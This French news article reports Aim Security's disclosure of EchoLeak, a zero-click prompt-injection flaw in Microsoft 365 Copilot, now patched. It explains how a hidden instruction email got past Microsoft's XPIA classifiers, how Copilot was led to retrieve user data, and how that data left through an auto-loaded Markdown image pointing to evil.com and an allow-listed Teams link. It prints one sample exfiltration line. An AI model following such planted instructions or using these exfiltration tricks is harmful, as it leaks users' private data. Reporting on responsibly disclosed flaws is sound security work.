La suite bureautique en ligne de Microsoft 365 permettait pendant un temps à une personne mal intentionnée d'exfiltrer les données de ses utilisateurs. C'est l'agent IA Copilot, intégré dans la suite par l'entreprise, qui en était responsable, selon les chercheurs de la startup en sécurité informatique Aim Security. Ils ont rendu publique leur découverte après avoir informé Microsoft, lui donnant le temps de colmater la faille.

La configuration des RAG de Copilot en cause

Dans son billet d'explication, Aim Security explique que cette vulnérabilité – que l'entreprise a nommée EchoLeak – « exploite les défauts de conception typiques des RAG de Copilot ». Les RAG (Retrieval-augmented generation), permettent de plonger une IA générative dans une masse de documents pour qu'elle s'y adapte. Cela permet d'augmenter la pertinence des réponses générées, notamment pour travailler sur des documents internes ou en faire des résumés. Les RAG de Copilot interrogent le Microsoft Graph, une API permettant d'accéder aux données utilisateurs. Ainsi, ils peuvent récupérer les données de la plupart des services proposés par Microsoft :

Mais, jusqu'à récemment, la configuration par défaut de Copilot permettait à des attaquants d'exfiltrer des données sans dépendre d'une action spécifique de l'utilisateur.

Les instructions dans un simple email

L'attaque imaginée par Aim Security se déroule en trois étapes : d'abord l'injection masquée d'instructions à Copilot lui demandant de récupérer des données, puis l'activation de ces instructions et enfin l'exfiltration.

Pour la première étape, les chercheurs de la startup ont envoyé un email au compte utilisateur qu'ils attaquaient. Mais, contrairement au phishing classique, pas besoin ici que l'utilisateur l'ouvre. Il suffit qu'il interroge Copilot sur certains sujets pour que l'IA utilise le contenu du mail comme source.

Un contournement facile des sécurités mises en place par Microsoft

Deuxième étape, l'activation des instructions. Les concepteurs d'agent IA comme Copilot mettent en place des garde-fous pour que, si l'IA tombe sur un texte comportant des instructions, en principe, elle ne les exécute pas. Ces garde-fous sont appelés des classifieurs XPIA (cross-prompt injection attacks, attaques par injection d'instructions croisées).

« Malheureusement », selon les chercheurs d'Aim Security, « il a été facile de contourner ce problème en formulant l'e-mail contenant les instructions malveillantes comme si les instructions étaient destinées au destinataire ». Ils précisent que le contenu de l'e-mail qu'ils ont envoyé n'utilise jamais des termes faisant allusion à l'IA ou à Copilot « afin de s'assurer que les classificateurs XPIA ne détectent pas l'e-mail comme étant malveillant ». Ils ajoutent que les jeux de données qui permettraient de détecter des injections d'instruction sont rares et qu'il existe de nombreux moyens de cacher ce type d'injections.

Si l’utilisateur déclenche le traitement de l’email en interrogeant lui-même Copilot, les chances de réussite sont maximisées. Deux méthodes pour y parvenir, selon Aim Security : soit envoyer un certain nombre d'emails couvrant chacun un sujet, soit envoyer un long email avec chaque sujet traité de façon succincte. Les chercheurs ont choisi la deuxième option, comme ceci :

Le plus difficile reste de sortir les données

Cet email permet donc de déclencher des instructions pour que Copilot aille à la pêche aux données visées. Mais il reste à les exfiltrer. Ils ont d'abord réussi à créer en Markdown un lien dans le chat de Copilot avec des paramètres cachés qui renvoient les informations les plus sensibles.

Mais cela demandait à l'utilisateur de cliquer. Ils ont donc pensé à passer les paramètres via l'intégration d'une image. « Le navigateur essaiera automatiquement de récupérer l'image, de sorte que l'utilisateur n'a pas besoin de cliquer sur quoi que ce soit, mais le navigateur "cliquera sur le lien" pour nous », expliquent-ils.

« Les images markdown sont formatées de la même manière que les liens markdown, mais elles sont précédées d'un point d'exclamation :

![Image alt text](https://www.evil.com/image.png?param=<secret>)

« Ce formatage d'image en markdown est également soumis à la même rédaction que les liens », ajoutent-ils.

Reste un problème : Microsoft ne permet pas d'insérer n'importe quel lien dans les images. Seuls des liens vers différents serveurs listés par l'entreprise sont permis. Après avoir fouillé différentes façons d'utiliser ces serveurs, les chercheurs de Aim Security ont trouvé un lien lié à Teams qui permettait d'exécuter une requête GET sans nécessité d'interaction avec l'utilisateur.

Enfin, ils ont réussi à affiner leur attaque de façon à ce que l'email envoyé pour mettre en place l'attaque ne soit jamais découvert : « Pour ce faire, il suffit de demander au "destinataire de l'email" de ne jamais faire référence à ce courriel pour des raisons de confidentialité ».

Cinq mois pour trouver une solution

Le fondateur d'Aim Security, Adir Gruss, a expliqué au média Fortune que son équipe a découvert la faille et contacté Microsoft en janvier dernier. « Ils nous ont dit que c'était une véritable révolution pour eux », explique-t-il. Mais Microsoft a mis cinq mois à boucher la faille, ce qui « est un délai (très) élevé pour ce type de problème », a-t-il commenté.

« Nous remercions Aim d'avoir identifié et signalé ce problème de manière responsable afin qu'il puisse être résolu avant que nos clients ne soient affectés », a déclaré de son côté Microsoft. L'entreprise a ajouté : « Nous avons déjà mis à jour nos produits pour atténuer ce problème, et aucune action de la part de nos clients n'est nécessaire. Nous mettons également en œuvre des mesures supplémentaires de défense en profondeur afin de renforcer notre position en matière de sécurité ».